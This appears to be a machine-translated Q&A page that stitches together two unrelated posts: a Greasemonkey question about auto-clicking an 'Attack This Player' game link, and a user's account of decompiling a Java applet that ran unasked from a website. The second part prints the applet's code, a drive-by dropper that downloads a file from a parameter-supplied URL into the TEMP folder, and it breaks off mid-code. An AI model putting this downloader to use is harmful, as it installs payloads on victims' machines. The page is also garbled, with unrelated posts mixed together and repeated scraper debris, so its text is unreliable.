我有一个链接,我需要点击使用greasemonkey
<a href="/attack/index/1016587">Attack This Player</a>
,这是代码的事情是href可以根据页面更改,唯一的静态代码是'攻击这个播放器的文本
我现在有
function click_element(element)
{
var event = document.createEvent("MouseEvents");
event.initMouseEvent("click", true, true, document.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
element.dispatchEvent(event);
return;
};
click_element( document.evaluate("//a[I DON'T KNOW WHAT TO PUT HERE]",document,null,9,null).singleNodeValue );
Run Code Online (Sandbox Code Playgroud)
这个目前适用于带有ID,类等的链接(对不起所有的大写,但它只是为了引起对该区域的注意)
感谢任何帮助,我不是那么先进的JavaScript
Reblerebel
我去了这个网站[Offending网站名称删除]作为参考它只是文件夹,使它看起来像小聊天,在"/ chat/trimsdy"它有一个小的java文件,自动运行我不能正确记住但我可能不小心运行数据包(接受它运行)
所以我做的是清除控制面板中的java缓存然后我回到网站上并尝试下载我下载的java.jar文件并下载了一个java解编译器并且我已经解压缩了java.jar文件,
我有这里的代码:
import java.applet.Applet;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Java extends Applet
{
public void init()
{
String str1 = getParameter("jc9nvqlqnnd");
String str2 = System.getenv("TEMP");
String str3 = getParameter("ulztlykikct");
try {
FileOutputStream localFileOutputStream = new FileOutputStream(str2 + str1);
URL localURL = new URL(getParameter("gze82pwlo3e"));
URLConnection localURLConnection = localURL.openConnection();
InputStream localInputStream = localURLConnection.getInputStream();
byte[] arrayOfByte = new byte[1024];
int i;
while ((i = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1) {
localFileOutputStream.write(arrayOfByte, 0, …Run Code Online (Sandbox Code Playgroud)